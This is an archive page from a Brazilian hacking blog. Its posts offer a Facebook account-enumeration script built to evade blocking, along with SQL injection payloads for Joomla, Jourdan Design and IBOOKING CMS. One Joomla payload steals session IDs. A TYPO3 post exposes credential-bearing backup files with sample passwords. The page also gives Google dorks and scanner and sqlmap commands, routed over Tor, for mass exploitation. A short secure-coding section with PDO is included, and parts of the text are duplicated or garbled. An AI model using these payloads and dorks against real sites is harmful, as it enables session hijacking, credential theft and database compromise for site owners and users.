Parceiro: Camisetas Hacker

Camisetas para Nerds & Hackers

segunda-feira, 23 de novembro de 2015

/* H45t4 1á v1st4 INURL BRASIL */ _exit('GoogleINURL', 'Founder');


<?php

/*
Bom galera venho me despedir... do projeto INURL BRASIL.
Essa caminhada começou em 2010 com a criação do BLOG: http://googleinurl.blogspot.com.br, onde sempre postava alguns dos meus estudos,scripts,bugs e abri espaço para amigos postarem seus feitos tbm.
Hoje através da divulgação de scripts que fiz, consegui colocar mais um script brasileiro em sistemas operacionais e toolkits voltados para pentest..
Parrot OS, Black Arch, Cyborg OS, Weakerthan Linux, Matriux OS, Netool toolkit, Sn1per.


  • O blog será encerrado. manterei o mesmo online, mas sem novas postagens.
  • A pagina ficará com os admins atuais.
  • O GIT ficará online, mas sem novas atualizações.

Nesse mundo loucamente programável toda condição tem um fim, A minha veio esse ano.. sairei da INURL pra focar mais na carreira profissional, sem deixar meu lado pesquisador e coder de lado. o intuito é evoluir sempre.
Saio com ar de dever cumprido ou com um reles pensamento de ter contribuído nem que seja com algumas linhas de código para cenário br coder.
Aos atuais administradores criem seus blogs/sites.. algo do tipo, usem esse meio para divulgar seus feitos, trabalhos sem deixar de espalhar conhecimento aos seguidores da page(https://fb.com/InurlBrasil).

Always Thinking Outside The Box...
Always Thinking Outside The Box...

O pensamento fora da caixa é que me move.. por isso adoro criar tools, espero que esse pensamento fique na page.
*/

require_once('class.inurl.php'); 
$objinurl = new Inurl('$_['Founder']='GoogleINURL'); 
$objinurl->_exit('23/11/2015'); 

# Se alguém ferir-se usando uma faca, não vamos culpar o fabricante pelo ferimento, mas sim quem manuseia seus produtos.

?>
exit('OBRIGADO A TODOS');

exit('OBRIGADO A TODOS');
Vlw flw

domingo, 15 de novembro de 2015

Facebook Check - Validando usuários.

Estava ai nas madrugas sem fazer nada quando um amigo me pediu ajuda com um script PHP, que sua função seria verificar contas no Facebook.

Sei lá tal script pode ser útil para alguém ou a logica dele, não sei quem codou o "original" não tinha referencias, por isso coloquei internamente comentário sobre dia da Edição.
O script erá quase "funcional", mas a forma de request não estava correta... e também erá bloqueado facilmente pelo facebook.
Com isso adicionei functions de user-agent randômicos, proxy, proxy-list, proxy-tor, modifiquei a logica de request e uma validação meio "priv8" que fui debugando nos request do Facebook até achar uma maneira diferente de validar a login.

O script erá quase "funcional", mas a forma de request não estava correta... e também erá bloqueado facilmente pelo facebook. Com isso adicionei functions de user-agent randômicos, proxy, proxy-list, proxy-tor, modifiquei a logica de request e uma validação meio priv8 que fui debugando nos request do Facebook até achar uma maneira diferente de validar a login.
Chega de blá blaá vamos ao script...
/*
E d i ç ã o -  2.0 / 29-09-2015
-----------------------------
AUTOR: googleINURL
EMAIL: [email protected]
Blog: http://blog.inurl.com.br
TT:   https://twitter.com/googleinurl
FB:   https://fb.com/InurlBrasil
PTB:  http://pastebin.com/u/Googleinurl
GIT:  https://github.com/googleinurl
PSS:  http://packetstormsecurity.com/user/googleinurl
YB:   http://youtube.com/c/INURLBrasil
PLUS: http://google.com/+INURLBrasil
IRC:  irc.inurl.com.br / #inurlbrasil
-----------------------------------------------------------------------------
*/ Para validação temos que seta o arquivo fonte, que pode ser emails ou numero de telefones. DEBUG SCRIPT: A function geral($email, $proxy = NULL) envia um Request GET Para URL https://www.facebook.com/ajax/login/help/identify.php GETs:
ctx=recover&lsd=AVrNj_gH&email={$email}&did_submit=Procurar&__user=0&__a=1&__dyn=7xe1JAwZwRyUhxPLHwn84a2i5UdoS1Fx-ewICwPyEjwmE&__req=5&__rev=1959518

Se o return da pagina conter a seguinte string: window.location.href= significa que tal usuário existe no Facebook.

De start o script pede umas informações:

[ ! ] Informe o LISTA DE EMAILS
------------------------------------------------
[ ? ] [ SET ARQUITO ]: {SEU_ARQUIVO}

[ ! ] Informe tipo de PROXY
[ 1 ]  - TOR
[ 2 ]  - MANUAL
[ 3 ]  - SEM PROXY / DEFAULT
--------------------------------------------------
[ ? ][ SET OP ]: {OPÇÃO}

PRINT:
De inicio o script pedi umas informações:


Com todas informações setadas:
PRINT EXECUTANDO:
Com todas informações setadas: PRINT EXECUTANDO:

BAIXAR SCRIPT: 
https://gist.github.com/googleinurl/3111a343268b5bb72553

É isso, mais um script pronto. que pode ajudar alguém em uma logica futura, ou até mesmo em pentest para enumerar usuários de um bando de  dados, vai da visão de cada um. Agradecer ao Sebastian Kopp que me cedeu a primeira versão do script para brincar e modificar.É isso, mais um script pronto. que pode ajudar alguém em uma logica futura, ou até mesmo em pentest para enumerar usuários de um banco de  dados, vai da visão de cada um.
Agradecer ao Sebastian Kopp que me cedeu a primeira versão do script para brincar e modificar.


vlw flw  ~

terça-feira, 27 de outubro de 2015

Joomla SQL Injection Vulnerability Exploit Results in Full Administrative Access / inurlbr scanner for mass exploitation.

Trustwave SpiderLabs researcher Asaf Orpani has discovered an SQL injection vulnerability in versions 3.2 through 3.4.4 of Joomla, a popular open-source Content Management System (CMS). Combining that vulnerability with other security weaknesses, our Trustwave SpiderLabs researchers are able to gain full administrative access to any vulnerable Joomla site.  Joomla had a 6.6 percent share of the market for website CMSs as of October 20, 2015 according to W3Techs—second only to WordPress. Internet services company BuiltWith estimates that as many as 2.8 million websites worldwide use Joomla.  CVE-2015-7297, CVE-2015-7857, and CVE-2015-7858 cover the SQL injection vulnerability and various mutations related to it.  CVE-2015-7857 enables an unauthorized remote user to gain administrator privileges by hijacking the administrator session. Following exploitation of the vulnerability, the attacker may gain full control of the web site and execute additional attacks.  The vulnerability can be exploited in Joomla versions 3.2 (released in November 2013) through version 3.4.4. Because the vulnerability is found in a core module that doesn't require any extensions, all websites that use Joomla versions 3.2 and above are vulnerable. Asaf also uncovered the related vulnerabilities CVE-2015-7858 and CVE-2015-7297 as part of his research.


Joomla CMS that affects more than 2.8 million sites.
Joomla is probably one of web content management (or CMS) more used to creating websites at the enterprise level but also widely used for developing personal websites.
It is an Open source software under the GNU / GPL license, being updated by a community of programmers organized a non-profit structure (Joomla.org).
According to Trustwave joomla CMS (3.2 to 3.4.4) have serious security flaws enabling SQL Injection-type attacks which allow attackers to "win" platform Administrator privileges

Trustwave SpiderLabs researcher Asaf Orpani has discovered an SQL injection vulnerability in versions 3.2 through 3.4.4 of Joomla, a popular open-source Content Management System (CMS). Combining that vulnerability with other security weaknesses, our Trustwave SpiderLabs researchers are able to gain full administrative access to any vulnerable Joomla site.

Joomla had a 6.6 percent share of the market for website CMSs as of October 20, 2015 according to W3Techs—second only to WordPress. Internet services company BuiltWith estimates that as many as 2.8 million websites worldwide use Joomla.

CVE-2015-7297, CVE-2015-7857, and CVE-2015-7858 cover the SQL injection vulnerability and various mutations related to it.

CVE-2015-7857 enables an unauthorized remote user to gain administrator privileges by hijacking the administrator session. Following exploitation of the vulnerability, the attacker may gain full control of the web site and execute additional attacks.

The vulnerability can be exploited in Joomla versions 3.2 (released in November 2013) through version 3.4.4.
Because the vulnerability is found in a core module that doesn't require any extensions, all websites that use Joomla versions 3.2 and above are vulnerable.
Asaf also uncovered the related vulnerabilities CVE-2015-7858 and CVE-2015-7297 as part of his research.
Trustwave SpiderLabs recommends that ALL Joomla users update their Joomla installations to version 3.4.5.
UPDATE:
https://www.joomla.org/announcements/release-news/5634-joomla-3-4-5-released.html
Source INFO-> [  More Info ]

It was found that the following code snippet is vulnerable SQLI:
PWD: /administrator/components/com_contenthistory/models/history.php
The vulnerability can be exploited in Joomla versions 3.2 (released in November 2013) through version 3.4.4. Because the vulnerability is found in a core module that doesn't require any extensions, all websites that use Joomla versions 3.2 and above are vulnerable. Asaf also uncovered the related vulnerabilities CVE-2015-7858 and CVE-2015-7297 as part of his research. Trustwave SpiderLabs recommends that ALL Joomla users update their Joomla installations to version 3.4.5. Source-> more info  It was found that the following code snippet is vulnerable SQLI: PWD: /administrator/components/com_contenthistory/models/history.php
FUNCTION FULL:
 /**
  * Build an SQL query to load the list data.
  *
  * @return  JDatabaseQuery
  *
  * @since   3.2
  */
 protected function getListQuery()
 {
  // Create a new query object.
  $db = $this->getDbo();
  $query = $db->getQuery(true);

  // Select the required fields from the table.
  $query->select(
   $this->getState(
    'list.select',
    'h.version_id, h.ucm_item_id, h.ucm_type_id, h.version_note, h.save_date, h.editor_user_id,' .
    'h.character_count, h.sha1_hash, h.version_data, h.keep_forever'
   )
  )
  ->from($db->quoteName('#__ucm_history') . ' AS h')
  ->where($db->quoteName('h.ucm_item_id') . ' = ' . $this->getState('item_id'))
  ->where($db->quoteName('h.ucm_type_id') . ' = ' . $this->getState('type_id'))

  // Join over the users for the editor
  ->select('uc.name AS editor')
  ->join('LEFT', '#__users AS uc ON uc.id = h.editor_user_id');

  // Add the list ordering clause.
  $orderCol = $this->state->get('list.ordering');
  $orderDirn = $this->state->get('list.direction');
  $query->order($db->quoteName($orderCol) . $orderDirn);

  return $query;
 }
CODE FULL:
http://pastebin.com/9FnPuns5

PoC:
REQUEST GET
http://{TARGET}/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1 &list[select]= (select 1 FROM(select count(*),concat((select (select concat(session_id)) FROM jml_session LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)

It is possible to extract session ID (cookies) of users logged into the system and set in your browser.
REQUEST GET http://{TARGET}/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1 &list[select]= (select 1 FROM(select count(*),concat((select (select concat(session_id)) FROM jml_session LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)  It is possible to extract session ID (cookies) of users logged into the system and set in your browser.
Video demonstration:


In this article we will work SQLI exploitation.

RETURN REQUEST - Exemple Explotation:
URL:
http://{TARGET}/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=1+AND+(SELECT+5030+FROM(SELECT+COUNT(*),CONCAT(0x203a494e55524c42523a20,version(),0x203a494e55524c42523a20,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)
PRINT REQUEST:
PoC: REQUEST GET http://{TARGET}/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1 &list[select]= (select 1 FROM(select count(*),concat((select (select concat(session_id)) FROM jml_session LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)   RETURN REQUEST - Exemple Explotation: URL: http://{TARGET}/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=1+AND+(SELECT+5030+FROM(SELECT+COUNT(*),CONCAT(0x203a494e55524c42523a20,version(),0x203a494e55524c42523a20,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)  PRINT REQUEST:

Base validation:
ENCODER HEX =  :INURLBR: 
RESULT =                0x203a494e55524c42523a20

INJECT: 0x203a494e55524c42523a20,version(),0x203a494e55524c42523a20....
DORK:
  1. components/com_contenthistory/
  2. inurl:com_contenthistory
  3. index.php?option=com_contenthistory
  4. "index of" components/com_contenthistory/
  5. inurl:"components/com_contenthistory/"
  6. inurl:"index.php?option=com_contenthistory"
Search demonstration:
DORK: components/com_contenthistory/ "index of" components/com_contenthistory/ inurl:"components/com_contenthistory/"

Using inurlbr scanner for mass exploitation:
 Download script: https://github.com/googleinurl/SCANNER-INURLBR
- Creating our command

SET DORK:
 --dork 'YOU_DORK'
 OR
 --dork-file 'YOU_FILE_DORK.txt'

SET SEARCH ENGINES:
-q all
  we will use all the search engines available in the script

SET OUTPUT FILE:
 -s com_contenthistory.txt

SET TIPE VALIDATION:
 -t 2
    2 The second type tries to valid the error defined by: -a 'VALUE_INSIDE_THE _TARGET'
              It also establishes connection with the exploit through the get method.

Before setting the exploit we get to manipulate its string, for that we use a domestic function of inurlbr scanner so passes a validation string within the SQL injection to be able to separate vulnerable targets.

Internal function - Converting strings in hexadecimal
 hex Encrypt values in hex.
     Example: hex({value})
     Usage:   hex(102030)
     Usage:   --exploit-get 'user?id=hex(102030)'
     Result inject:
     http://www.target.localhost.br/user?id=313032303330

--exploit-get '/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=1 AND (SELECT 5030 FROM(SELECT COUNT(*),CONCAT(0xhex(INURLBR),versio(),0xhex(INURLBR),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a))'

hex(INURLBR) = 494e55524c4252

Example injection:
http://www.target.localhost.br/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=1 AND (SELECT 5030 FROM(SELECT COUNT(*),CONCAT(0xhex(INURLBR),versio(),0xhex(INURLBR),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a))

SET STRING VALIDATION:
Specify the string that will be used on the search script:
     Example:  -a {string}
     Usage:    -a '<title>hello world</title>'
     If specific value is found in the target he is considered vulnerable.
     Setting:   -a 'INURLBR'

SET FILTER RESULTS:
 --unique
   Filter results in unique domains.
   removes all gets the URL

Let's validate the string "INURLBR" as she passed within the SQLI exploit, if such value appear on our target was successfully injected.

COMMAND FULL: 
php inurlbr.php --dork 'inurl:"/components/com_contenthistory"' -s com_contenthistory.txt --exploit-get '/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=1 AND (SELECT 5030 FROM(SELECT COUNT(*),CONCAT(0xhex(INURLBR),versio(),0xhex(INURLBR),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a))' -t 3 -a 'INURLBR' --unique


Execution return:
 SET STRING VALIDATION: Specify the string that will be used on the search script:      Example:  -a {string}      Usage:    -a '<title>hello world</title>'      If specific value is found in the target he is considered vulnerable.      Setting:   -a 'INURLBR'  SET FILTER RESULTS:  --unique    Filter results in unique domains.    removes all gets the URL  Let's validate the string "INURLBR" as she passed within the SQLI exploit, if such value appear on our target was successfully injected.  COMMAND FULL:  php inurlbr.php --dork 'inurl:"/components/com_contenthistory"' -s com_contenthistory.txt --exploit-get '/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=1 AND (SELECT 5030 FROM(SELECT COUNT(*),CONCAT(0xhex(INURLBR),versio(),0xhex(INURLBR),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a))' -t 3 -a 'INURLBR' --unique   Execution return:


SOLUTION:Trustwave SpiderLabs recommends that ALL Joomla users update their Joomla installations to version 3.4.5.
UPDATE:
https://www.joomla.org/announcements/release-news/5634-joomla-3-4-5-released.html

Source INFO-1-> https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/?page=1&year=0&month=0

Source INFO-2-> https://cxsecurity.com/issue/WLB-2015100146

quarta-feira, 14 de outubro de 2015

( 0day ) CMS Typo3 / Falha Full Info Disclosure

Continuando minhas pesquisas atrás de vulnerabilidade em CMS's, nos últimos dias estava procurando por padrões em arquivos .XML,T3D, que me pudessem trazer informações sensíveis do servidor. No procedimento de criar dork, refazer, criar um novo padrão acabei descobrindo uma falha no CMS TYPO3 que possibilita acessar arquivos XML,T3D do servidor que contenham LOGIN & SENHA da plataforma.

Continuando minhas pesquisas atrás de vulnerabilidade em CMS's, nos últimos dias estava procurando por padrões em arquivos .XML,T3D, que me pudessem trazer informações sensíveis do servidor.
No procedimento de criar dork, refazer e criar um novo padrão. acabei descobrindo uma falha no
CMS TYPO3 que possibilita acessar arquivos XML,T3D do servidor que contenham LOGIN & SENHA da plataforma.


"Não é um CMS muito usado, o artigo é somente para estudos mesmo, um desenvolvedor pode ver esse exemplo e saber o que não fazer com seus backups e ter mais cuidado com arquivos gerados pelo sistema."
"Não é um CMS muito usado, o artigo é somente para estudos mesmo. Um desenvolvedor pode ver esse exemplo e saber o que não fazer com seus backups e ter mais cuidado com arquivos gerados pelo sistema."

Observando bem os arquivos eles seguem um padrão de backup do próprio sistema, em pastas desprotegidas. O Google indexa seu conteúdo que é totalmente possível acessá-los com operadores avançados de pesquisa - (DORKS / STRINGS).
Os arquivos de senha são guardados na pasta "/fileadmin/"  alguns com uma string fixa nome "utopia"  e sua extensão é ".t3d.xml" ou .t3d


INFORMAÇÕES:

#  ----------------------------------------------------------
#[+]  Type:         Full Info Disclosure  
#[+]  Vendor:       https://typo3.org/typo3-cms/
#[+]  VULNERABLE VERSIONS:  4.2, 4.5
#  ----------------------------------------------------------

#[+]  AUTOR:        googleINURL
#[+]  EMAIL:        [email protected]
#[+]  Blog:         http://blog.inurl.com.br
#[+]  Twitter:      https://twitter.com/googleinurl
#[+]  Fanpage:      https://fb.com/InurlBrasil
#[+]  Pastebin      http://pastebin.com/u/Googleinurl
#[+]  GIT:          https://github.com/googleinurl
#[+]  PSS:          http://packetstormsecurity.com/user/googleinurl
#[+]  YOUTUBE:      http://youtube.com/c/INURLBrasil
#[+]  PLUS:         http://google.com/+INURLBrasil
#[+]  IRC:          irc.pŕiv8.jp / #inurlbrasil

 DORKS DE PESQUISA:
  1. /fileadmin/utopia ext:xml
  2. /fileadmin/utopia*.t3d.xml
  3. site:fr /fileadmin/utopia ext:xml
  4. "utopia" inurl:t3d ext:xml
  5. /fileadmin/  typo3 ext:t3d
POC ARQUIVO .XML:

http://{server}/fileadmin/utopia{random}.t3d.xml
http://{server}/subdir/fileadmin/utopia{random}.t3d.xml
Ex:
http://vull.fr/fileadmin/utopia4cb2c07e326f4.t3d.xml
http://vull.fr/subdir/subdir2_/fileadmin/utopia506c4cd063fa0.t3d.xml

Exemplo Conteúdo arquivo:

POC ARQUIVO .T3D:

http://{server}/fileadmin/*.t3d
http://{server}/fileadmin/archives_site/*.t3d
http://{server}/subdir/fileadmin/*.t3d
Ex:
http://vull.fr/fileadmin/archives_site/utopia_Inscription%20lilas%20autopartage.t3d
http://vull.fr/subdir/fileadmin/archives_site/utopia_autotao.t3d

Exemplo Conteúdo arquivo:
s:11:"admin_xxxx";s:5:"email";s:26:"[email protected]";s:8:"username";s:10:"adminxxx";s:8:"password";s:10:"adminlilas";s:7:"origUid";a:2:{i:0;s:2:"10";i:1;s:14:"Administrateur";}}}}i:3;a:1:{s:8:"fe_users";a:1:{i:100;a:4:{s:4:"name";s:10:"user_xxx";s:5:"email";s:26:"[email protected]";s:8:"username";s:9:"userxxx";s:8:"password";s:32:"dcd9e367d292b7019fab159ab8c8c26a";}}}i:4;a:1:{s:17:"tx_icsutopia_site";a:1:{i:1;a:4:{s:6:"level0";s:2:"72";s:6:"level1";s:2:"73";s:6:"level2";s:3:"232";s:10:"base_model";s:9:"72,73,232";}}}}s:3:"t3d";s:43:"/www/html/typo3temp/utopia519e1b3d6c76b.t3d";}}s:15:"relStaticTables";a:1

Pesquisa em massa usando SCANNER INURLBR.
Download: https://github.com/googleinurl/SCANNER-INURLBR
Comando:
php inurlbr.php --dork '/fileadmin/utopia*.t3d.xml' -s t3d.txt -t  2 -a '<username>'
Resultado:
Solução ? Faça upgrade do CMS e Configure adequadamente as permissões de arquivos e pastas do se servidor.

quarta-feira, 30 de setembro de 2015

( 0day ) - CMS Jourdan Design - SQL INJECTION

Bom continua minhas pesquisas com ( CMS's ) brasileiros, esbarrei nas minhas "Googladas" com o CMS da empresa Jourdan Design.
Que o mesmo apresenta falhas graves de injeção SQL, via request POST & GET.
Como não achei código fonte, ou padrão de outros cms's deduzi que eles usam uma aplicação priv8.

Vamos aos fatos....
Em uma pequena e rápida analise é possível constatar MÚLTIPLAS VULNERABILIDADES:

INFORMAÇÕES:

[+] FORNECEDOR:            http://www.jourdandesign.com.br
[+] VERSÕES VULNERÁVEIS:   (NÃO IDENTIFICADO)
[+] ARQUIVO:               VIA POST: newsletter_done.php, pesquisa_done.php
                           VIA GET : nossa_historia_texto.php
[+] DORK:                  "by Jourdan Design" "news_not_pk"
[+] REPORTADO:             30/09/2015

Senhoras e Senhores que estão lendo esse humilde artigo, não quero falar que isso é uma falha grande
E que vai afetar milhões de pessoas ... pois não vai, essa "plataforma" ou emaranhado de códigos
não filtrados afeta no máximo seus usuários/clientes, mas o grande intuito é mostrar filtros com PDO..
e filtros desprotegidos e algumas boas condutas.

( Todo desenv sabe || deveria saber ) que sistemas quando vão para produção tem que está como seus erros tratados, pelo menos deveriam certo (?!).
Quase toda aplicação que é invadida via SQL - INJECTION é devido seus erros não tratados no server side, muitas vezes são ownadas por 'BOTS', sim bots. que ao identificar esse erro de Syntax SQL já começa injetar comandos par extração de informações.

MAS SÓ TRATAR OS ERROS DA MINHA APLICAÇÃO JÁ ME DEIXA SEGURO ?
A resposta é NÃO!
MAS SÓ TRATAR OS ERROS DA MINHA APLICAÇÃO JÁ ME DEIXA SEGURO ? A resposta é NÃO!


Apesar de ser informações básicas tanto pequenas quanto grande empresas incluindo governos ainda sofrem com isso.

Vamos aos BUGS da Jourdandesign
Demonstrarei somente um.

ARQUIVO:
newsletter_done.php
REQUEST POST:
nome=bypass&[email protected]&Submit3=cadastrar

POC:
http://www.vul.com.br/newsletter_done.php?nome=bypass+{SQL_INJECTION_BLIND}&[email protected]+{SQL_INJECTION_BLIND}&Submit3=cadastrar


GERANDO ERRO PASSANDO CARACTERES MALICIOSOS

GERANDO ERRO PASSANDO CARACTERES MALICIOSOS

ERRO EXPOSTO:
ERRO EXPOSTO:

Pelos campos passados podemos perceber que tais parâmetros fazem parte da newsletter do "CMS", mas manipulando tais valores, saindo da validação javascript podemos bypassar.
Dica: sempre validar dados no lado servidor, seja ele vindo de clientes logados ou não.
          Se o request é feito pelo usurário, não confie no Request filtre.

EXPLORAÇÃO VIA SQLMAP:
COMANDO:
sqlmap -u 'http://www.vull.com.br/newsletter_done.php' --data "nome=bypass&email=123#2*@aduneb.com.br#1*&Submit3=cadastrar" -p nome --random-agent --level 3 --risk 2  --tor --tor-type=SOCKS5 --dbs --thread 5

PRINT:


PRINT EXPLORAÇÃO VIA SQLMAP:


RETURN SQLMAP DEBUG PAYLOAD:

Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: nome=bypass&email=-7840') OR 1946=1946#@aduneb.com.br#1&Submit3=cadastrar

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT - comment)
    Payload: nome=bypass&email=123#2') AND (SELECT * FROM (SELECT(SLEEP(10)))Vxmq)#@aduneb.com.br#1&Submit3=cadastrar

Parameter: #2* ((custom) POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: nome=bypass&email=-1051') OR 5045=5045#&Submit3=cadastrar

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT - comment)
    Payload: nome=bypass&email=123#[email protected]#1') AND (SELECT * FROM (SELECT(SLEEP(10)))tdlq)#&Submit3=cadastrar


CÓDIGO:
Um exemplo de como pode está o código do arquivo newsletter_done.php

<?php

$servername = "localhost";
$username = "username";
$password = "password";
$dbname = "myDB";



$nome  = $_POST['nome'];
$email = $_POST['email'];


// Create connection
$conn = new mysqli($servername, $username, $password, $dbname);
// Check connection
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
} 

$sql = "INSERT INTO newsletter (nome, email)
VALUES ('{$nome}', '{$email}')";
if ($conn->query($sql) === TRUE) {
    echo "EMAIL CADASTRADO COM SUCESSO!";
} else {
    echo "Error: " . $sql . "<br>" . $conn->error;
}

$conn->close();

?>


Sem  nem um tipo de filtro no request POST os valores são  setados direto nas variáveis da aplicação.

NÃO FAÇA ISSO NUNCA!

  1. USE PDO!
  2. PDO É VIDA CARA!
  3. USE FILTROS!
  4. ISSO SALVA VIDAS!


Um simples exemplo usando PDO e filtros:

CÓDIGO:

<?php

$servername = "localhost";
$username = "username";
$password = "password";
$dbname = "myDB";


// VALIDANDO $_POST SE CAMPOS EXISTEM
$nome = is_set($_POST['nome'])   ? $_POST['nome'] : exit('<p>FALTA campo nome!</p>');

$email = is_set($_POST['email']) ? $_POST['email'] : exit('<p>FALTA campo email!</p>');


// FILTRANDO CAMPOS POST
$nome =  is_name($nome)   ? $nome  : exit('<p>NOME invalido!</p>');
$email = is_email($email) ? $email : exit('<p>Email invalido!</p>');

// INICIANDO CONEXÃO



try {
$dbh = new PDO("mysql:host={$servername};dbname={$dbname}",$username,$password);
  

$stmt=$dbh->prepare("INSERT INTO newsletter (nome, email) VALUES (:nome, :email)");
$stmt->bindParam(':nome' , $nome);
$stmt->bindParam(':email', $email);
$stmt->execute();

$dbh = null;
} catch (PDOException $e) {
    print "<p>Error!: SQL/INSERT - 0001</p>";
    die();
}
// REF CÓDIGO: 
// http://php.net/manual/pt_BR/pdo.prepared-statements.php
// http://php.net/manual/en/pdo.prepare.php



//FUNCTION VALIDANDO SE VALORES PASSADOS EXISTEM
function is_set($value) {

    return isset($value) && !empty($value) ? TRUE : FALSE;
}
// REF CÓDIGO:
// http://php.net/manual/en/function.isset.php
// http://php.net/manual/en/function.empty.php


// FUNCTION FILTRANDO CARACTERES E VALIDANDO SE É EMAIL
function is_email($email){

// Remove all illegal characters from email
$email = filter_var($email, FILTER_SANITIZE_EMAIL);

// Validate e-mail
return (!filter_var($email, FILTER_VALIDATE_EMAIL) === false) ? true : false;
}
// REF CÓDIGO: 
// http://php.net/manual/en/filter.filters.sanitize.php 
// http://www.w3schools.com/php/filter_validate_email.asp
// http://bobby-tables.com/php.html 
 

// FUNCTION FILTRANDO E VALIDANDO NOME
// MODELO PARANOICO
function is_name($name) { 
 

// FILTRO POSSÍVEIS CARACTERES DE INJEÇÃO       
foreach (array('0X', 'DROP', ';','--','UNION','CONCAT(','TABLE_','INFORMATION_',"'",'"') as $value) {
$name = !strstr(strtoupper($name), $value) ? $name : FALSE;
            
}
// FILTRO POSSÍVEIS CARACTERES DE INJEÇÃO + HTML         
$name = (filter_var(stripslashes(strip_tags(trim($name))), FILTER_SANITIZE_STRING));
 return $name;
}

  
?>


É um pequeno código simples com mais segurança, seguindo as seguintes dicas:


  • VALIDAR EXISTÊNCIA DO REQUEST
  • FILTRAR CAMPOS
  • USAR PDO EM TODA E QUALQUER SELECT,UPDATE,DELETE,INSERT
  • - SE POSSÍVEL 
  •        VALIDAR O TIPO DE VARIÁVEL
           VALIDAR TAMANHO MAXIMO CAMPOS / INPUT HTML
           VALIDAR TAMANHO MAXIMO CAMPOS / INPUT JAVASCRIPT
  • ANTES DE GERAR O REQUEST DESNECESSÁRIO AO SERVIDOR
  • REGRA PRINCIPAL NÃO CONFIE NO CLIENTE.


  • ÚLTIMA REGRA
    SIGA TODAS REGRAS ACIMA.



terça-feira, 15 de setembro de 2015

( 0day ) IBOOKING CMS - INJEÇÃO DE SQL e Exploração em massa



IBOOKING CMS é um sistema voltado pro ramo de hotelaria, gerenciamento de reservas.
Como próprio site do desenvolvedor diz:

Motor de Reservas: Com o nosso motor de reservas você pode vender as diárias do seu hotel diretamente no seu site e sem precisar pagar comissão. Uma forma eficaz de ampliar sua lucratividade e interagir com o cliente desde o momento da compra.

Tal sistema tem uma falha grave de Injeção SQL, explorada via request GET no parâmetro idPousada do arquivo filtro_faixa_etaria.php dentro da pasta ou URL dinâmica /motor-de-reservas/. INFORMAÇÕES: 

[+] FORNECEDOR: WWW.ibooking.com.br
[+] VERSÕES VULNERÁVEIS: TODAS [+] ARQUIVO: filtro_faixa_etaria.php [+] PASTA OU URL DINÂMICA: /motor-de-reservas [+] PARÂMETRO:  idPousada(GET)
[+] DORK: intext:"Desenvolvido por ibooking" [+] REPORTADO: 15/10/2015

A request vulneravel é feito através de uma function javascript encontrada dentro de /motor-de-reservas

Código:
jQuery(function($){        
   $("#quartos").change(function() {
     var qtde_quartos = $(this).val(); 
     $.ajax({ 
       type: "GET", 
       url: "filtro_faixa_etaria.php", 
       data: "qtde_quartos="+qtde_quartos+"&idPousada=61", 
       success: function(xml){ 
        $("#filtro_faixa_etaria").html(xml);
       } 
     }); 
  }); 
  
  $.ajax({ 
    type: "GET", 
    url: "filtro_faixa_etaria.php", 
    data: "qtde_quartos=1&idPousada=61", 
    success: function(xml){ 
      $("#filtro_faixa_etaria").html(xml);
    } 
  }); 
  
   
 });


URL Vulnerável:

http://www.TARGET.br/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61

POC:

http://www.TARGET.br/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+(INJEÇÃO_SQL) Exemplo:

http://www.TARGET.br/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+AND+(SELECT+2692+FROM(SELECT+COUNT(*),CONCAT(0x203a3a494e55524c42525f56554c4e3a3a20,(SELECT+(concat(@@GLOBAL.VERSION,0x20,@@GLOBAL.version_compile_os,0x20,@@GLOBAL.version_compile_machine))),0x203a3a494e55524c42525f56554c4e3a3a20,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)

Detalhes na injeção SQL é usado FUNCTIONS básicas de injeção, mas seu diferencial é uso de variáveis Globais do MySQL.

@@GLOBAL.version = VERSÃO BANCO DE DADOS MYSQL
@@GLOBAL.version_compile_os = SERVIDOR COMPILADO
@@GLOBAL.version_compile_machine = TIPO DE ARQUITETURA  DO SERVIDOR

Também passo a string ::INURLBR_VULN:: no formato hexadecimal, para assim posteriormente validar se a injeção ocorreu como esperado.
0x203a3a494e55524c42525f56554c4e3a3a20 = ::INURLBR_VULN::

Print saída da injeção:
